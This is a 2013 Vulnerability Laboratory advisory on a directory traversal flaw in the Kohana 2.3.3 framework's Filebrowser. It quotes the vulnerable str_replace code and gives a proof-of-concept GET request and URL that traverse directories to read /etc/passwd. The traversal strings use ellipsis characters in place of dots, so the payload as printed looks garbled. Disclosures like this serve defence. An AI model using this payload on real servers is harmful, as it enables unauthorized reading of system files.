Title:

Kohana Framework v2.3.3 - Directory Traversal Vulnerability

Date:

2013-01-27

References:

http://www.vulnerability-lab.com/get_content.php?id=841

VL-ID:

837

Common Vulnerability Scoring System:

7.1

Introduction:

Kohana is an open source, object oriented MVC web framework built using PHP5 by a team of volunteers that aims to be
swift, secure, and small. (copy from vendor website) This is an OOP framework that is extremely DRY. Everything is built
using strict PHP 5 classes and objects. Many common components are included: translation tools, database access, code
profiling, encryption, validation, and more.

Extending existing components and adding new libraries is very easy. Uses the BSD license, so you can use and modify it for
commercial purposes. Benchmarking a framework is hard and rarely reflects the real world, but Kohana is very efficient and
carefully optimized for real world usage. Very well commented code and a simple routing structure makes it easy to understand
what is happening. Simple and effective tools help identify and solve performance issues quickly.

(Copy of the Vendor Homepage: http://kohanaframework.org/ )

Abstract:

The Vulnerability Laboratory Research Team discovered a Directory Traversal web vulnerability in the Kohana v2.3.3 Content Management System.

Report-Timeline:

2013-01-27: Public Disclosure

Status:

Published

Affected Products:

Kohana
Product: Framework - Content Management System 2.3.3

Exploitation-Technique:

Remote

Severity:

High

Details:

A Directory Traversal web vulnerability is detected in the Kohana Content Management System web application.
The vulnerability allows remote attackers to request local directories and files of the web server application system.

The vulnerability is located in the `master/classes/Kohana/Filebrowser.php` file in line 90 when processing to request
the path dir via replace. The filter replaces `…/` by null and it applies on file reading requests.

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
));

Remote attackers can bypass the validation with the vulnerable replace function in the file browser to read local
web server files via directory (path) traversal attack.

Exploitaton of the vulnerability requires no privileged application user account and no user interaction.
Successful exploitation of the vulnerability results in read of arbitrary system files to compromise web server.

Vulnerable Module(s):
[+] Filebrowser

Vulnerable Function(s):
[+] str_replace > dir

Vulnerable Parameter(s):
[+] ?path

Proof of Concept:

The vulnerability can be exploited by remote attackers without privileged application user account and without required user interaction.
For demonstration or reproduce …

Review: Kohana/Filebrowser.php

$thumb = Route::get('wysiwyg/filebrowser')
->uri(array(
'action' => 'thumb',
'path' => str_replace(array($dir, DIRECTORY_SEPARATOR), array('', '/'), $filename)
));

Review: GET Request
GET http://media.[server].com/directory/graphics/?path=…%2F…%2F…%2F%2F…%2F…
%2F%2F…%2F…%2F%2F…%2F…%2F%2F…%2F…%2F%2F…%2F…%2F%2F%2Fetc%2Fpasswd
HTTP/1.0
Host: media.[server].com
User-Agent: Kami VL

PoC:
http://media.[server].com/directory/graphics/?path=…%2F…%2F…%2F%2F…%2F…%2F%2F…%2F…%2F%2F…%2F…%2F%2F…%2F…%2F%2F%2Fetc%2Fpasswd

Risk:

The security risk of the directory traversal web vulnerability is estimated as high(+).

Credits:

Vulnerability Laboratory [Research Team] - Karim B. ([email protected])

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